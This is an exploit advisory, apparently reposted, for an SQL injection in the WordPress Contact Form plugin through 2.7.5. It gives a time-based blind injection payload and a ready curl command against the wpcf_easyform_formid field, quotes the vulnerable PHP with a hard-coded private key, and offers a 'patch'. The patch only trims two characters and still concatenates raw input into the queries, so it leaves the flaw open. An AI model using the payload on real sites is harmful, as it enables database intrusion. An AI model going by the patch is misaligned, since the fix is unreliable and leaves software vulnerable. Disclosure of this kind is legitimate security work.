WordPress Contact Form plugin <= 2.7.5 SQL Injection

[LLegoLLaS]

WordPress Contact Form plugin <= 2.7.5 SQL Injection 2011-10-14 15:15:02

# Exploit Title: WordPress Contact Form plugin <= 2.7.5 SQL Injection Vulnerability

# Date: 2011-10-13

# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)

# Software Link: http://downloads.wordpress.org/plugin/contact-form-wordpress.zip

# Version: 2.7.5 (tested)

---------------

PoC (POST data)

---------------

http://www.site.com/wp-content/plugins/contact-form-wordpress/easy-form.class.php
wpcf_easyform_submitted=1&wpcf_easyform_test1=testing&wpcf_easyform_formid=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)[

E.G

curl --data "wpcf_easyform_submitted=1&wpcf_easyform_test1=testing&wpcf_easyform_formid=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://127.0.0.1/wordpress/?p=1

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Vulnerable code

---------------

public function the_content($content) {
global $wpdb;
global $table_name;
global $settings_table_name;

$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {

$form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$_POST['wpcf_easyform_formid']);

---------------

Patch

---------------

*** ./easy-form.class.php.orig 2011-10-13 19:53:05.674800956 -0400
--- ./easy-form.class.php 2011-10-13 19:51:21.442799615 -0400
***************
*** 54,61 ****
$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {
!
! $form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$_POST['wpcf_easyform_formid']);

$continue = true;

--- 54,63 ----
$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {
! $wpcf_easyform_formid=$_POST['wpcf_easyform_formid'];
! $wpcf_easyform_formid=substr($wpcf_easyform_formid,2);
!
! $form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$wpcf_easyform_formid);

$continue = true;

***************
*** 71,80 ****
if ($continue) {

//loop through the fields of this form (read from DB) and build the message here
! $form_fields = $wpdb->get_results("
SELECT *
FROM $settings_table_name
! WHERE form_id = ".$_POST['wpcf_easyform_formid']."
ORDER BY position
");

--- 73,82 ----
if ($continue) {

//loop through the fields of this form (read from DB) and build the message here
! $form_fields = $wpdb->get_results("
SELECT *
FROM $settings_table_name
! WHERE form_id = ".$wpcf_easyform_formid."
ORDER BY position
");

sursa

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